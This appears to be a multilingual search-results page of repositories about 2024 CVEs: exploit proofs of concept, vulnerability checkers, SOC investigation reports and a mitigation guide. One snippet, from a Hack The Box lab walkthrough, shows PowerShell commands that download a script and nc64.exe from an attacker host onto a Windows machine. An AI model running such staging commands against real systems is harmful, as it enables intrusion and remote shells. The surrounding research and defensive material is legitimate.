145524 matches found
letsdefend-cve-2024-49138-investigation
Indagine LetsDefend: CVE-2024-49138 🔍 Panoramica Simulazione pratica di indagine SOC e risposta agli incidenti usando LetsDefend, concentrata sullo sfruttamento reale di CVE-2024-49138 — una vulnerabilità di escalation dei privilegi nel driver CLFS di Windows. 📅 Dettagli dell'Evento ID Evento : 3...
CVE-2024-24919-Incident-Report.md
🛡️ SOC287 - Lettura Arbitraria di File su Checkpoint Security Gateway CVE-2024-24919 Data: 6 giugno 2024 Tipo di Indagine: Attacco Web Piattaforma: LetsDefend Regola Attivata: SOC287 – Rilevata Lettura Arbitraria di File CVE: CVE-2024-24919 Gravità: Alta Impatto: Accesso non autorizzato a file di...
SOC274---Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400-
SOC274---Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400- Einleitung CVE‑2024‑3400 ist eine kritische CVSS 10.0 Befehlsinjektions-Sicherheitslücke in der GlobalProtect-Funktion von Palo Alto Networks PAN‑OS, die erstmals am 12. April 2024 veröffentlicht wurde...
connectwise-screenconnect_auth-bypass-add-user-poc
CVE-2024-1708 e CVE-2024-1709 Una prova di concetto sviluppata da @watchTowr per sfruttare un bypass dell'autenticazione al fine di aggiungere un nuovo utente amministrativo in ConnectWise ScreenConnect. Questo è il primo passo di una banale catena di esecuzione remota di comandi. Segui il team d...
CVE-2024-21338
Este repositorio nao tem um README...
CVE-2024-32002_EXP
Questo repository non contiene un README...
CVE-2024-32002-hook
Questo repository non contiene un README...
CVE-2024-32002
Questo repository non contiene un README...
CVE-2024-6387-Checker
CVE-2024-6387-Checker Questo strumento scansiona la tua rete alla ricerca di host che eseguono versioni vulnerabili di OpenSSH CVE-2024-6387. Può gestire IP singoli, più IP, intervalli CIDR e file CSV con porte personalizzate. Requisiti Installa le librerie richieste usando pip: root@kitploit: pi...
CVE-2024-12558-exploit
Questo repository non contiene un README...
CVE-2024-3094
CVE-2024-3094 Ho spostato le mie note in Obsidian in un vault separato e questo repository GitHub per poterlo condividere. La pagina di partenza è CVE-2024-3094 xz supply chain. Installazione Clona il repository con git. root@kitploit: git clone https://github.com/reuteras/CVE-2024-3094.git Poi...
checkmk_cve-2024-0670
checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
osquery_cve-2024-23443
Prova di concetto POC CVE-2024-23443 hpbiososquery Aggiungi l'estensione osquery HP BIOS WMI ad Elastic Agent Dipendenze pip install pywin32 pip install osquery pip install pyinstaller Compilazione root@kitploit: pyinstaller --onefile hpbiosenumeration.py Installazione 1. Copia l'estensione nella...
CVE-2024-6387-Mitigation
Titolo del documento - Guida alla mitigazione per CVE-2024-6387 in OpenSSH Introduzione Questo documento descrive i passaggi per mitigare CVE-2024-6387, una vulnerabilità di sicurezza che interessa le versioni di OpenSSH da 8.5p1 a 9.8p1. La vulnerabilità può essere mitigata in due modi: 1...
CVE-2024-23334-PoC
CVE-2024-23334-PoC Una prova di concetto della vulnerabilità di path traversal nella libreria python AioHTTP = sudo apt install python3-venv Configurazione del laboratorio root@kitploit: git clone https://github.com/z3rObyte/CVE-2024-23334-PoC cd CVE-2024-23334-PoC python3 -m venv .env chmod +x...
File-Read-CVE-2024-9264
फ़ाइल-पढ़ें-CVE-2024-9264 Grafana CVE-2024-9264 में फ़ाइल पढ़ने के लिए साक्ष्य की अवधारणा पूर्वापेक्षाएँ प्रमाणित Grafana उपयोगकर्ता जिसके पास Viewer अनुमतियाँ या उच्चतर हों DuckDB बाइनरी स्थापित होनी चाहिए और Grafana के PATH के माध्यम से सुलभ होनी चाहिए प्रभावित संस्करण Grafana = v11.0.0 सभी...
CVE-2024-2074
Questo repository non contiene un README...
Exploit-PoC-para-CVE-2024-30085
🚨 Exploit PoC per CVE-2024-30085 Proof of Concept exploit per la vulnerabilità di elevazione dei privilegi CVE-2024-30085. Solo a scopo educativo e di ricerca sulla sicurezza. ⚠️ Avvertenza Legale USO ESCLUSIVAMENTE EDUCATIVO ✅ Ricerca di sicurezza autorizzata ✅ Laboratori controllati ✅ Educazione...
CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check
CVE-2024-21762-Exploit-PoC-Fortinet-SSL-VPN-Check Controlla se il tuo firewall è vulnerabile a CVE-2024-21762 RCE senza autenticazione Per maggiori informazioni sulla vulnerabilità: https://cuty.io/TKyfFh Iscriviti o unisciti ai miei social per più HACKING!! Impara a rilevare la vulnerabilità e a...